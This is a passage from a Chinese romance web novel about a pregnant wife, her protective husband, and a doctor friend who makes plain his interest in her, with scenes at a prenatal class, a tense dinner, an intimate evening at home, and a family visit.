出浴之后,黎铮仔细地帮她吹干头发,拨弄潮湿顺滑的头发,他能闻到属于甄宝珠的味道,甜津津的,被热风一吹,像烤棉花糖一样。 烤好棉花糖,她又说饿了,推黎铮去做饭,她就懒懒散散坐在餐桌边等吃饭。 黎铮一边掌勺,一边让关林给他安排时间,“后天下午要去孕妇学校。” 甄宝珠凑过来说:“后天晚上呢?游悠约饭,一个朋友从美国回来过年了,你要陪我去吗?” “后天晚上的安排也推掉吧。”黎铮对着电话讲。 * 自从在甄家同床共枕几天,甄宝珠很自觉地拎着枕头和Hello Kitty入住了黎铮的卧室。 她现在的孕肚已经拖累身体,也影响睡眠,反反覆覆调整姿势,半夜还总想上厕所。 黎铮也很自觉,把结实手臂放在她的肚子下垫着,能减轻一些重力,让她侧卧压着自己的腿,勤勤恳恳当抱枕。 她半夜一醒,黎铮也醒,她去卫生间回来,黎铮就配合她重新调整姿势。 她睡意朦胧,钻进他怀里,黎铮也回抱她,轻轻拍她的背哄着睡。 孩子半夜活动,又生生把她踢醒,她怒火中烧也把黎铮摇起来。 这个孩子很怪,ta不动的时候黎铮唱唱歌,他就能动一动,而ta总是乱动的时候,黎铮一唱歌,ta也能安稳下来。 黎铮揉了揉睡眼,手掌轻轻抚摸跳动的肚皮,声腔还带着慵懒困意。 “A sweet lullaby takes you into sweet dreams.”(甜蜜的摇篮曲带你进入甜蜜梦乡,) “Thunderstorm dont bother my sweetie.”(雷霆暴雨别打扰我的甜心,) “Cake.milk. flowers.sunshine.all nice thing belong to my baby.”(蛋糕、牛奶、鲜花、日光,所有美好事物都属于我的宝贝。) “Remember I love you and your Mommy.”(记得我爱你和你的妈妈。) 一首摇篮曲唱完,甄宝珠和胎儿都睡着了。 * 孕妇学校设在市立医院妇产科。 甄宝珠只跨个精致小包,黎铮两手提着准备好的学习文具尿不湿和包被。 房间的瑜伽软垫上坐满孕妇和准爸爸,他们去晚了只能坐在后排。 自怀孕以来,甄宝珠还是第一次看到这么多孕妇欢聚一堂,觉得挺新奇,用自己的肚子对比别人的肚子,交头接耳问“同桌”几个月。 四下看去,所有孕妇的肚子都比她大,这是一堂临产课,人家都是孕晚期,只有她是孕中期。 她抱着老师发下来的硅胶娃娃,怼了怼黎铮,“咱们现在听这个,是不是太早了?该生的时候都忘了。” 一转头,就看到黎铮掏出小本子和签字笔,坐在那认真写笔记,两下对比,搞得她像个来听课混礼物的学渣。 她抱着假娃娃,白了黎铮一眼。 老师先播放了一段分娩过程,屏幕里都是粉色的动画人物,粉色的小脑袋瓜破道而出,甄宝珠瞪圆眼睛,又低头一看自己,不敢想像真人版得多惨烈。 “也就是说……”甄宝珠把假娃娃举到黎铮眼前,“我生出来的孩子,会有这么大?” 黎铮悄声道:“不然怎么让你控制饮食呢?你现在大吃大喝,胎儿迅速吸收成长,体重太大会有分娩风险。” 甄宝珠顿时倒抽一口凉气,起身却被黎铮按住。 “不要扰乱课堂纪律。”他低声。 “你先听课,”她又一次试图起身,“我去挂个妇产科做人流~” “现在已经晚了,”他牵住甄宝珠冰凉的小手,怕她跑了,哄道:“医生说了,你身高腿长又有劲,只要锻炼得好,方法得当,生起来不会太难。” “真的?”她将信将疑。 “真的。”他捏了捏甄宝珠的手指,“认真听课。” 她不敢看屏幕里的分娩教程,脑袋对着老师,眼睛到处乱瞟,有一眼没一眼看着黎铮,问他:“你学这么多,是打算生产之后照顾我吗?” 台上的老师正要讲解如何换产褥垫和给孩子裹包被,黎铮侧身掏出产褥垫,不冷不热地回应她:“不是,没准以后我会怀孕,有备无患。” 他怎么能做到一边认真学习,一边认真挖苦她。 “那时候我的肚子肯定像一个憋掉的气球,我才不想让你看到,没准还得在床上拉尿,太尴尬了。” 她想到那种场景,就摇摇头。 太为难黎铮了,刚开始热恋就伺候月子,还有比伺候月子更能让荷尔蒙极速退散的事吗? 黎铮停下拆开纸尿裤的手,手指轻轻刮了一下她的手背,让她附耳过来。 甄宝珠贴过去,热息悄悄窜进她耳朵里,“你喷在我脸上的时候,我嫌弃你了吗?” 光天化日,朗朗乾坤。 他又是怎么能面不改色说出这种让人羞臊的话 “那不一样”甄宝珠咕哝。 黎铮没再理她,跟着老师的动作仔细研究手中棉质的纸尿裤,对着纸尿裤认真的表情好像在看什么难懂的调研报告。 凭他是天赋异禀的高智商精英,面对这种小东西,一时也分不清正反面,倒是甄宝珠一上手就学得差不多,扯过他手上的纸尿裤,轻轻松松给硅胶小宝宝穿上。 “你学会了?”黎铮诧异。 “学会了,回去再拿狗练练。”甄宝珠得意。 下课之后,黎铮临时决定带她去楼上婴儿游泳馆看看,免得她焦虑担忧。 两人站在窗口外看着粉粉白白的小婴儿,一个个肉嘟嘟,胳膊像短藕节,嘴巴像红艳艳的花骨朵,周围父母们都用温柔眼神注视着自家的孩子,也拿手机全程拍摄,整个游泳馆的爱心都快要从泳池里溢出来了。 甄宝珠的心也融化成夏日的巧克力,她用手抚摸了一下自己的肚子,只觉得神奇。 侧头看去,黎铮的目光也温柔。 如果他是个父亲,大概是一个好父亲。 甄宝珠无声挽住黎铮的手臂,问:“如果到时候我想让你陪我进产房,你会不会愿意?” 黎铮的眼眸泛起温澜,“你愿意让我陪你?” 两人十指相扣,她说:“我愿意让你一直陪着我,到时候我就这样握住你的手,你想跑也跑不了。” 黎铮环腰搂住她,下巴轻抵她的肩膀,双手护住她的肚子,“那就这么说定了,我不会跑。” * 当天晚饭,游悠本着孕妇优先的原则,让甄宝珠随便挑 餐厅。 甄宝珠最后把地点定在和黎铮领证那天吃的 西餐厅。 她和黎铮手牵着手,走过那条艺术油画长廊,心境和领证那天完全不同。 又停在那副油画下,她倒是注意到了那条画中的小狗,长得和稍息也有点儿像,现在的他们越来越像油画里的家庭。 “丈夫伸右手,象征永远供养,妻子伸左手,是宣誓永远忠诚。” 重新体会这幅油画,她又生出不一样的意境来,黎铮说过的话她也记得清清楚楚,而此时他的右手正握着甄宝珠的左手。 黎铮也看着这幅画,以前他对这种刻画出来的幸福家庭嗤之以鼻,更不屑于承诺仪式这类形式主义,但他望向甄宝珠,忽然很想给她一个承诺、或者仪式。 他们在 餐厅预留的座位上等游悠,甄宝珠回想起他们在玉楼等游悠的场景,忽然更觉得有趣。 “你猜猜游悠今天什么时候来?”甄宝珠靠在他肩膀,笑着问他。 “如果游悠十分钟之内不到的话” 黎铮话音未落,游悠就风风火火进来了,身边带的男伴是他从来没见过的。 那男人看起来斯斯文文,戴一副清晰的无框眼镜,很绅士地给游悠拉开椅子。 游悠吼他:“晚高峰晚高峰,要是人人都像你这么开车,我们这辈子也来不了了。” 他抿了抿唇,讲话也温和:“开车互相礼让,你火气别这么大,伤身体。” 游悠抱着胸瞪他,“我火气大?你自己让了几个车你数过吗?我怎么没见别人让你?你得感谢车上坐的人是我,要是宝珠,冲窗外喊完,回头还得给你一巴掌。” “打就打吧,”魏铭短短叹了口气,“以前也总打。” 黎铮皱眉。 除了他,甄宝珠还打他? 甄宝珠有点儿尴尬,他们三个人当初都出国留学,平时没少互帮互助,关系自然亲密,但她这么久没见魏铭,魏铭却依然还是那个样子,一点儿都没有改变。 他依然留着利落的短发,眼光中带着疲惫与温和,浑身上下都是干净的基础款,身上也依然是淡淡的消毒水味儿。 如果样貌、穿搭、性格都没有改变的话,这个人的心呢? 自从她回国,就没主动联系过魏铭,魏铭回国过年也没告诉她,她想着她结婚了,魏铭就一定已经放下了。 但魏铭没变。 以前魏铭是那种人,只要甄宝珠不在他眼跟前,他就是个人,只要甄宝珠在他身边,他就净干狗的事。 甄宝珠眼皮跳了跳,预感这顿饭不会吃得太顺利,后悔带黎铮来了。 余光偷偷看向黎铮, 他已经敛回笑容,开始打量魏铭。 而游悠没察觉到这一切,她只看到甄宝珠逐渐大起来的肚子和红润光泽的脸庞。 “某人最近有爽到哦~”她冲甄宝珠挤眉弄眼。 黎铮牵起甄宝珠的手,风平浪静地说:“是。” 是什么是? 不害臊! 甄宝珠脸色通红,黎铮却淡定自若。 魏铭,没有反应。 那一瞬间,黎铮忽然怀疑自己的直觉出错了。 下一秒,魏铭甚至也笑了一下。 那种笑意在嘴边轻轻掠过,并不牵动平顺的眼角,他也根本没看甄宝珠,好像他们之间早就存在久远的默契,他不用看她,就了解她。 互相介绍认识,在甄宝珠口中魏铭好像只是个普通朋友,但黎铮绝不相信,内心早就警铃大作。 这个男人看甄宝珠的眼神就不对。 虽然很克制,但还是黏黏糊糊的。 大多数时候,魏铭都在看黎铮,目光中暗含审视。 点过餐后,游悠挡着嘴唇好奇问她:“你现在怀孕多久了,你们能干那事吗?” “27周。”两个男人异口同声。 第33章 第 33 章 通房丫鬟? 黎铮停住刀叉, 抬起眼皮,凌厉的目光毫不遮掩,像发射一支淬毒冷箭。 魏铭没抬头, 熟稔地切完盘中的牛排,才手持刀柄和黎铮对视,面带笑容说:“哦, 我是医生, 宝珠怀孕的消息我大概是第一个知道的。” 餐盘中的西冷牛排, 看似是规矩完整的一块, 血水顺着切割整齐的缝隙流淌蜿蜒。 黎铮目光微垂,对魏铭报以了然微笑。 * 整个晚饭的过程,黎铮的话都很少。 黎铮并非生气到不想说话, 而是他们聊的话题都是过往的时光, 说的都是只有他们三个人才懂的密语。 那些话题仿佛在昭示着,黎铮是个外人。 他插不进去话, 也不强硬地扭转话题, 因为谈论那些往事让甄宝珠很开心, 她的状态完全是见老朋友那种舒适,黎铮乐于看到甄宝珠愉快的笑容,也想了解更多她以前的事。 黎铮安静听着他们聊天, 并且毫不掩饰地观察魏铭。 游悠说刘白最近着了魔,说要给她一个家, 拉着她到处看房子,“我特意去找别墅区看, 让他知难而退。” 魏铭笑笑说:“有人愿意给你买房子是好事,你不是总说男人都不靠谱。” 游悠满脸不屑,“本来就不靠谱, 谁也没有我的宝珠靠谱,买房子算什么,我姐妹可是当初为我卖过房子。” 见黎铮疑惑的表情,魏铭还很有耐心地给他解释:“甄叔叔以前给宝珠在纽约买了个房子,后来游悠和家里吵架,被游叔叔停了副卡,宝珠为了接济她把房子卖了,两人拿着钱挥霍了一年多。” 游悠不由得眉飞色舞,怀念甄宝珠豪气养她的时光,“宝珠当时把卡甩在桌上,就说了一个字‘花’!真的,当时有一秒钟,我想当女同。” 魏铭话锋一转,“说起那个房子,我也没少在那住过。” 他望向甄宝珠,说:“你还记得那次吗?我给你做饭把烟雾报警器弄响了,消防来了,后来好不容易把饭做好,我们两一起吃到食物中毒,又被救护车送进了医院,现在想起来,还是挺美好的回忆。” 甄宝珠无语,她只记得在医院没少使唤魏铭,他自己挂着输液瓶,还被甄宝珠指使帮她暖一暖冰凉的液体,当时魏铭左手挂吊瓶,右手一直捂着输液管 黎铮淡淡一笑,暗含不屑,“这样看来魏医生做饭手艺也不怎么样,幸好没把我家宝珠吃出胃病。” 我家宝珠? 他什么时候在外人面前这么亲昵叫过她? 黎铮端起红酒杯,闷着喝了一口,主动抛出话题:“魏医生在外读医学院,学费贷款是多少年?” 魏铭腼腆一笑,丝毫不在意黎铮递过来的话锋,“我的学费都是甄叔叔资助的,我还记得甄叔叔当初嘱咐我,说把女儿交给我,让我照顾好宝珠,如果是古代的话,我的身份应该是通房丫鬟?” 黎铮瞥眼看向甄宝珠,暗暗咬牙。 甄宝珠瞪大眼睛,在桌下狠踢了魏铭一脚。 通房丫鬟?那叫陪读书僮! 黎铮把酒杯重重放下,扯出虚假微笑,“你想说的是陪读书僮吧?” 魏铭无所谓笑笑,“区别不大。” 不要脸! 黎铮闭了闭眼。 甄宝珠的眼神简直想杀人,刀叉一扔,凶巴巴地对魏铭说:“陪读就是陪读,你是不是想挨揍?” 黎铮垂眸切着牛排,丝毫没有因为甄宝珠当面撇清关系而脸色转晴。 果然,她也打他。 是不是也打完也给魏铭笑脸,或者抱抱魏铭?怎么想都觉得心里不得劲。 甄宝珠看到黎铮那边依然冷脸,迫切想转移话题,问魏铭:“你回国过年,什么时候走?初几的飞机?” 问完还马上冲黎铮眨了眨眼卖乖。 “哦,我辞职了。”魏铭看到她卖乖的表情,微笑道:“年前已经在市立医院入职了。” 甄宝珠大脑宕机了几秒钟,猛地扭回脸,声调都拔高几分,“辞职了?!谁让你回来的?我不是让你好好打工还债!” 黎铮听着甄宝珠激动的声音,皱了皱眉。 他辞职回国,她这么激动吗? “哦,我妈病了,我才回来的。”魏铭说。 “阿姨得了什么病?”甄宝珠问道。 魏铭目光躲闪一下,说:“她在住院,人上了岁数,需要我经常在身边,况且你也快生了,孕妇学校去过了吗?就在我们医院,我可以陪你” 黎铮抬手止住,“不用了,我下午已经陪她去过了。” “黎总平时工作很忙吧,下次我可以陪宝珠一起去,你忙你的。”魏铭淡定道。 “”黎铮放在桌下的拳头紧了紧。 游悠感觉气氛不对,扥了下魏铭的衣服,低声说:“收敛点儿,你也想被宝珠按在地上打啊?” 黎铮问:“也?” 甄宝珠瞪了游悠一眼,想用甜品堵住游悠的嘴。 游悠把小蛋糕一推,兴致勃勃说起他们大学时候那件事。 那时候学校有个传闻中很帅的教授,她和甄宝珠都很感兴趣,手挽手去蹭教授的课,想看看人人称道的教授长什么样。 果不其然,那位教授虽然上了点岁数,但也风韵犹存,人还挺风趣幽默,讲的课大家都爱听。 这一看,游悠就爱上了,总带着甄宝珠去蹭课,魏铭来找她们,她们还带着魏铭一起去。 某一次课上,他们去晚了,就只能坐在后排,甄宝珠的电脑包挤到前排的女同学,那个金发女生嚼着口香糖回头瞪了她一眼,她还很和善地说了声抱歉。 结果对方又回头,上下打量她身上的香奈儿套装,随后伸出中指比在眼角,做了一个眯眯眼的动作。 甄宝珠愣了两秒钟,站起身板过女同学的肩膀,指着她的脸,“你把刚才的动作再做一遍。” 女同学把嘴里的口香糖吐在她桌上,“ChingChong.” 当时魏铭刚刚帮甄宝珠掏出笔记本电脑,下一秒笔记本电脑就被甄宝珠撤肘推到桌下。 一记抡圆胳膊的响亮耳光,乎在女同学脸上。 甄宝珠不依不饶,众目睽睽之下把人扑倒,按在地上打,左右开弓的巴掌不要钱似的。 教室里都安静了。 最后还是魏铭和游悠拉开了她。 教授和甄宝珠谈话,要求她为扰乱课堂秩序道歉,也要求她给女同学道歉,甄宝珠说可以向他道歉,不可能和种族歧视的人道歉。 教授很严肃地说对方只是和她开了个玩笑,并说她跑到别人的国家来打人是一种侵略行为。 明显的傲慢与袒护,尤其侵略两个字在她听来十分刺耳。 刚满二十岁的甄宝珠冲教授伸出中指。 “Go Fuck Yourself。”魏铭和游悠齐声,说了当时甄宝珠对教授说的话。 游悠笑了会儿,又认真骂道:“老坑公,不是好东西,后来我都喜欢小奶狗了。” 甄宝珠低着头沉默,余光瞟向黎铮。 她想解释,又不知道该如何解释,直到现在她也没觉得自己做错。 当时确实有冲动的成分,之后她也承受了所有的后果退学。 现在她只是担心黎铮以为她是那种到处霸凌的女混混,毕竟,当初学校里的同学都是这样说她的。 黎铮没说什么,目光望向垂着头的甄宝珠,深海般的眼瞳装进一个年轻的、固执的她。 下一刻魏铭就开口,说她退学之后消沉了几天,他是如何悉心照顾消沉的她。 甄宝珠心里很乱,在桌下不停踢魏铭的腿,黎铮面容严肃,冷漠的声音缓缓道:“你踢到我了。” 甄宝珠收回腿,两脚在桌下窘促地缠着。 这顿饭吃得越来越没心思,她说累了,想回家。 几人道别,魏铭说他打算过几天去甄家拜年,甄宝珠的心早就乱成一团麻,敷衍答应着。 黎铮忽然开口,说好久没回甄家了,到时一起去。 黎铮和魏铭微笑道别,友好握手,持过枪的手和拿手术刀的手暗里较劲。 * 回去的路上,黎铮升起后排挡板,面目严肃看着她,“想谈谈吗?关于你商学院肄业的事。” “我知道你想说什么,”她乜了他一眼,偏头看着窗外灯火,“省省吧。” 无非就是批评她莽撞没脑子,或者说她是个打架打到异国他乡的女混混,她根本不想听。 黎铮缓缓开口:“为什么不肯和教授道歉?” 她一甩头发,回头瞪视他,眼里早就泛起泪花,表情还是凶巴巴的,“教授就一定是对的吗?!” 她从来没因为这件事抹过眼泪,早已是陈年旧事了。 甄宝珠发誓,这只是因为孕期情绪波动,才不是因为在意黎铮心里怎么想她。 “你不用这么激动,我只是” “停车。”她冲前排司机说。 她要黎铮把她放在路边,声音硬硬的冷冷的,听起来就是生气了。 车一停下,她就去拉车门,却被黎铮握住手腕。 顶灯下,黎铮面庞温柔,嗓音平淡,“我没说你做错了。” 真真实实的委屈感涌上心头,她的眼泪忽然就收不住了,雨帘般掉落,一滴滴洒在他的手背。 “委屈了?”他帮她擦擦脸颊连成水线的眼泪。 她扁着嘴,头抵着他胸口低声啜泣。 那是她人生中为数不多的委屈事儿,虽然她嘴上从不说,但看着身边人都是硕士博士,而她只有一个高中的学历,难免心里酸酸的,黎铮更是商学院的天才,她确实会担心黎铮觉得她笨。 黎铮沉默着、拥抱着她,轻轻抚捋她的后背,见到她的眼泪,听到她的哭声,他心里疼得什么似的,“其实这种情况我遇到过很多次,但我曾经没有一次挥过拳头,我没觉得你做错,你很勇敢。” 她哭了会儿,止住眼泪,捧起他的领带擦了擦脸颊的泪。 “你真的这么想?”她瓮声瓮气,不时抽气。 “嗯,你是我见过最勇敢的人。”他捧着她的脸,拇指蹭掉沾在她鼻尖的鼻涕,笑了笑,“不就是学历,甄宝珠不需要那些来证明自己。” 她抱着手臂,扬起傲娇的小脸,“说的也是,我有我自己的聪明。” “现在能回家了吗?”黎铮整理一下被鼻涕眼泪浸湿的领带。 “开车吧。”她唇角重新荡漾笑意。 路上她还跟黎铮细细说了说当时的情况,“我也不知道自己哪里来的那么大力气,可能是气疯了,游悠脸都吓白了,魏铭直接把我抱起来。” 黎铮温柔的脸色渐渐结冰,舔舔唇角嗤笑一声,唇齿之间咬着魏铭的名字。 “我只问你一句话,魏铭到底是通房还是陪读?” 刚才还说得起劲儿的甄宝珠忽然怂了,举起三根手指,“陪读,我发誓!” 黎铮上下打量,“那他为什么在我面前那么张狂?” 搞得他像大房,黎铮只是个二房。 “有张狂吗?”甄宝珠啃着手指,低声说:“没有吧” 黎铮捏着她的脸,让她凑近自己,目光沉沉盯着她心虚的脸,越看越生气,“那个魏铭想当小三的心昭然若揭,你难道看不出来吗?” 甄宝珠抿着唇,贼着看他。 魏铭也不是第一次想当小三。 见她做贼心虚,黎铮忽然顿住,眯眼问道:“你是真看不出来,还是一直在放纵他这种行径?” “我没有!”甄宝珠为自己辩白,“我虽然知道他暗恋我,但我从来没给他什么暗示明示,我想着我有男朋友他就放弃了,结果他送走我两任前男友,我以为我回国他就放弃了,现在他辞职回来了,我以为我结婚了……” 她的声音越来越小,因为黎铮的脸色越来越难看。 他秉持质疑目光,问:“你有明确拒绝过他吗?” 她看着车顶,不敢直视那双洞察一切的眼睛,“主要是他从来也没和我表白过,我怎么明确拒绝” 黎铮闭上眼睛,仰靠椅背沉了沉气,又拿出手机拨出一通电话,“十分钟之后回家,让保镖都撤出去,监控器也关掉。” 第35章 第 35 章 好像奖励到她了。 上一次, 他们关掉了声音监测器,这次黎铮要求把全屋的监控都关掉。 在车上听到黎铮这句话,甄宝珠条件反射地想起上一次, 脸颊蓦然发烫。 “关监控干什么?”她小声问。 黎铮回视她,目光垂下,停在她的衬衫第一道纽扣上, 用手机抵了抵下巴, 没说话。 回到家里, 稍息飞快跑过来, 热烈地迎接主人,还没碰到主人的拖鞋,就被黎铮捞起来, 关进了书房。 紧接着黎铮拉上了客厅的窗帘, 关掉主灯,打开甄宝珠买的氛围灯, 高大的身形站在暧昧热情的灯光下, 高挺的鼻梁更挺拔, 情的嘴唇更柔软。 深邃的目光从上到下缓缓逡巡,光被他看着,就好像看光了。 他转身走进洗漱间, 里面传来水流声和泡沫洗手液在手上打滑的声音。 甄宝珠换上毛茸茸的拖鞋,黎铮已经从洗漱间里走出来了, 他的衬衫袖扣已经解开,向上别了一层, 露出一截薄皮肤和凸起的腕骨,手上拿几张消毒湿巾,仔仔细细擦拭每一根修长手指。 此情此景, 让甄宝珠的耳尖都红到滴血。 他随意坐在大理石茶几上,手指抚弄下唇,上下打量甄宝珠,好像在认真思考从哪里下口,能把她吃得干干净净。 “过来。”黎铮的口令很简洁。 甄宝珠站在他敞坐的两条长腿中间,他抬腕看表,口中幽怨:“这顿饭吃了两个小时,我什么都没吃进去你也没发现。” 她勾起他的下巴,手指按在那道幽怨的美人沟上,笑问:“那你想吃什么,嘴巴,还是” 在床事上,甄宝珠从来不扭扭捏捏,他在车上让人关闭监控时,她的心脏和身体已经开始躁动潮湿了。 黎铮看着她的脸,心有无奈。 本来是惩罚,好像奖励到她了。 他一条手臂揽住她的腰身,不急不缓道:“先从嘴巴开始吃,你计时吧。” “计时?计什么时?”甄宝珠浅浅亲了一口他的嘴唇,给他一些开胃小菜。 “这顿饭我忍了两个小时,你说呢?”他微张着嘴,气音贴着软唇厮磨。 甄宝珠放在沙发的手机连响了几声,打断黎铮吻花口红和剥去衣服的进度。 他略有不耐,站起来去拿甄宝珠的手机,甄宝珠紧追在身后,却被他的大手按住肩胛骨,轻拍了下臀。 “坐到茶几上去。” 甄宝珠坐在他刚才坐的位置,探着脑袋看他紧紧皱眉的神情,双手局 捏着茶几边沿,臀下贴着微凉的大理石,浑身瑟缩。 黎铮查看弹出来的消息框,沉默了会儿,呵笑一声,把手机递给甄宝珠。 “自己念。” “回家了~吗?”她抑着声音,努力保持端正得体的腔调,好让这条微信听起来就像是普通的外交辞令。 黎铮半跪在她腿间,手指一顿,“念个微信就这样了?” 甄宝珠踢他,那是念微信的事儿吗? 他捏住她踢起的小腿,架在宽阔肩膀上,她向后仰了一下,努力维持平衡,双手托着冰凉的大理石,磨红了掌心,直到黎铮将另一条腿也抬起来,她的身体才平衡住了。 “从后往前,继续念。” “新年快乐” “Merry Chris~” 她咬住自己的嘴唇,身体却要更多,不停挪动差点从茶几掉下来,黎铮一手托举她的腰,让她重新坐好,也让她抓住自己的手臂,感受他关节活动的幅度,顺便体会他逐渐升高的愤怒值。 她怀孕的每个阶段,魏铭都给她发注意事项。 她做糖耐测试,魏铭让她少吃零食,不要馋嘴,有胎动的阶段,魏铭提醒她做排畸B超,她做羊水穿刺时,魏铭担心她怕疼,说要定最早一班机票回来陪她。 他竟不知道,有个男人在暗地里一直觊觎他的妻子。 他胸腔憋闷,理智像一根细丝线,上面吊着一块名为愤怒的巨石。 比起此刻对甄宝珠的渴望,他更希望她身边的男人全部消失。 直到甄宝珠仰着头,喘息声越来越急促,他停下了。 就那样跪在地毯上,反手握住她的手,湿漉漉的手指碰触她指间的戒指,细细摩挲那颗圆润的珍珠,亲吻她细嫩的手指。 他需要冷静冷静。 “别念了。”他咬了一下她的手背。 “黎铮,差一点”她娇声媚气,舔了舔干燥的嘴唇,眼角带着愉快的泪,脑海完全被欲望占领。 黎铮的眼瞳泛着浅浅的光泽,看着她隆起的小腹和抖得不像样的双腿,“你要答应我,不会离开我。” 他觉得自己是个混蛋, 总是要在她荷尔蒙上头时交换一句不离不弃的誓言。 而她更是个混蛋, 总是在这种时刻轻易就答应了他。 她肆意的人生从来不需要自制力这种东西,他不敢怀疑甄宝珠的承诺中有几分真情。 他只知道,有了这句承诺,让他做什么都可以,比如咬住他面前这微张的唇,让她在齿间的研磨刺痛中达到顶峰。 她的肉身,她的灵魂,此刻都属于他。 她出了些细汗,黎铮脱下外套披在她身上裹紧她,让她的体香浸入外套,那是她最快乐时的气味。 甄宝珠还没从失神的状态中缓过来,就被黎铮冲着脖颈轻咬一口,又用柔情的嘴唇抚慰,吻一直延伸,重重压在她的唇上,撬开嘴巴,缠住舌尖,让她更加喘不过气,只能紧紧抓着黎铮的手,感受着掌心的粗糙触感和唇舌的湿滑温暖。 她木木地回应他的吻,进行事后的温情,任由他的吻碾过唇边和脸颊,吮吸她的皮肤和骨骼,却没有招架的力气。 黎铮抱着她去浴室清洗,她裹上浴巾,给镜子除雾,除了粉晕的脸颊,她还发现酒窝处一枚艳红的吻痕。 精准。 让她一笑起来,那片小漩涡更显眼。 “你是个狗啊,你怎么能吸我的脸呢?”甄宝珠骂他。 黎铮站在她身后,双手缠在她腰际,颇为满足地笑了一下。 这个痕迹几天都不会褪,她敢对着魏铭笑,魏铭就能看到她脸上的吻痕。 那是他留下的印记,证明甄宝珠是他的人,谁都抢不走。 * 甄宝珠和黎铮回甄家那天,她脸上的吻痕还没褪去。 她用粉底遮了几层,一笑就藏不住。 她狠狠棱了黎铮一眼。 挺大个人,净搞些幼稚的事。 她帮黎铮打领带,又扯着领带警告他:“我和魏铭真的没什么,一会儿你见了我爸,可不要乱说话。” 她是真怕这两个男人在她爸爸面前讨论通房还是陪读的问题。 黎铮敷衍答应,迅速伸出手指擦去她酒窝处的粉底。 “啊!”甄宝珠愤愤锤他胸口,怨他破坏自己的妆面。 “再遮还擦。”他拿起桌上的卸妆水,装进自己口袋。 狗男人! 他们和魏铭在甄家的停车场碰面,魏铭盯着甄宝珠的脸看了很久,直到黎铮挡在她的身前,挡住他的视线。 “魏医生,你礼貌吗?”黎铮也不装了,冷冷的眼神直视着他。 魏铭淡淡一笑,“黎总,你未免太没安全感了。” “这是我们的夫妻情趣。”黎铮拉起甄宝珠的手就往前走。 两人在甄宝珠面前争锋相对,在进入甄厉海的书房前开始装人。 甄厉海对魏铭还是很认可的,毕竟他从小就很优秀,人品良善,在学校经常被甄宝珠欺负也毫无怨言,在国外魏铭没少照顾两个女孩,让他和游咏都放心不少。 但还是自己的女婿越看越爱,尤其是当女婿从西装里掏出结婚证给他看。 “爸,”黎铮改口倒快,“您还没看过我和宝珠的结婚证吧,您看,这个是她,这个是我。” 他举着结婚证在魏铭眼前晃,司马昭之心让魏铭也抱臂无语。 “好好好,”甄厉海看着结婚照里女儿的笑容,十分满意,“男才女貌,金童玉女,宝珠这个笑容啊,从小就招人喜欢。” 甄厉海又关心魏铭,说:“现在回国了,个人问题也应该早点儿解决,叔叔觉得游悠就不错嘛,你们是高中同学,又一起出国。” 黎铮紧跟着应和:“爸说得对,魏医生确实到该结婚的年纪了,早点解决个人问题,大家都放心。” 魏铭无视黎铮,对甄厉海笑笑,温和道:“谢谢叔叔关心,我心里有喜欢的人,我和她是青梅竹马。” 不要脸! 什么青梅竹马? 最多算个普通高中同学。 “哼,”黎铮发出一声不易察觉的冷哼,“不知道你有没有听说过,爱情没有先来后到,如果你这么多年都没能让对方喜欢上你,还是早做别的打算比较好,不如我帮你介绍” 魏铭当时没说话,直到甄厉海起身去拿茶饼。 “我早有打算,”魏铭看着黎铮,说:“我打算等她离婚。” 黎铮蹭地站起身,“我警告你” 这时甄厉海举着茶饼回来了。 黎铮立刻换了张客套笑脸,接过甄厉海手上的茶饼,帮他们沏茶,给甄厉海倒了七分茶,魏铭的茶杯满得要溢出来了。 “能喝到黎总敬的茶,不容易。”魏铭端起茶杯,滚烫的茶水淋在手上也镇定自若地喝下。 黎铮暗暗咬牙, 谁敬你茶了,真把自己当大房了。 黎铮转头就从门缝里看到甄宝珠站在门口探头探脑。 “宝珠。”黎铮叫她一声,魏铭的目光也看向门缝。 甄宝珠硬着头皮走进去,面对两双炙热的目光,她无所适从,只能目不转睛看着爸爸。 “宝珠,你这么看着我干什么?”甄厉海和蔼笑笑。 “呵呵呵,想你了,爸。”甄宝珠傻笑道。 “你呀,”甄厉海回忆起往昔:“你小的时候,就喜欢帮助同学,说魏铭学习好,但家里条件有限,哭着喊着让我资助魏铭读医学院,我还记得当年和小魏也是在这个书房谈话,现在这么多年过去了,小魏也事业有成了,宝珠也结婚怀孕了,时间过得真快,一转眼我也老了。” 甄厉海笑得畅快,甄宝珠看着黎铮的黑脸,给了个讨好的微笑。 她一笑,酒窝的吻痕就若隐若现。 旁边魏铭的脸也黑了。 “您一点儿都不老。”魏铭和黎铮同时开口,又互相冷眼。 甄厉海摆摆手,“老了,以后宝珠生下孩子,也就能开始接手我们的产业,有女婿帮忙,我也放心。” “爸爸,”甄宝珠想了会儿,说:“我不打算接手我们家的产业,我打算学习公关方面的知识,以后帮助家里,黎铮带我见了几次老师,我觉得很感兴趣,生下孩子之后打算系统学习,接班人还是我姐姐合适。” 甄厉海放下茶杯,仔细端详他女儿,“你真的这么想?你不是一直都想接手家里的生意吗?” “我觉得姐姐合适,等姐姐接手了,我帮她。” 甄厉海拍了拍自己的腿,又叹了口气,“玉珠是个好孩子,就是唉,亏欠太多。” “爸,”黎铮宽慰道:“现在科技发展很快,在家办公远程操控,很多时候不用亲力亲为,我也认识几个行动不便的企业家,玉珠姐从小作为接班人,我想说您把她培养得很好。” 甄厉海点了点头,“既然宝珠不愿意接受,我再和玉珠谈谈,黎铮说得也对,是我总想庇护着孩子,觉得她已经很难了,不想把重担压在她身上。” 甄宝珠把头靠在爸爸肩膀,说:“您问问姐姐,我觉得她早就做好了准备。” 魏铭也说:“是,玉珠姐也不希望您这么劳累,她在家人这方面确实默默做了很多。” 甄厉海感慨道:“我们家宝珠真的是长大了很多。” 魏铭笑了笑,看着黎铮说:“以前在国外,宝珠也经常照顾我,现在我回国了,也想多照顾宝珠,回报甄家对我的资助” 黎铮已经待不下去了,打断魏铭的话,对甄宝珠说:“我记得我们下午还有孕妇学校的课程是吧?” 甄宝珠忙点头:“是是是,爸爸,要不您先和魏铭聊,我们就先走了。” 她挪步到黎铮身边,打算拉着黎铮赶紧走。 魏铭也起身,“正好孕妇学校就在我们医院,我也要去上班,一起走吧。” 黎铮腮骨紧了紧。 阴魂不散。 宽阔的走廊因为三个人并排前行而显得拥挤,就像爱情的道路,不能三人同行。 可是黎铮和魏铭把甄宝珠挤在中间,两人互不相让。 甄宝珠左推一把黎铮,右推一把魏铭。 “起开,起开,没看到孕妇吗?”她叉腰挺肚,一个人疾步前行,先下了楼。 他们走到拐角处,甄玉珠正好被戎昱推出卧室,轮椅同时挡住了黎铮和魏铭。 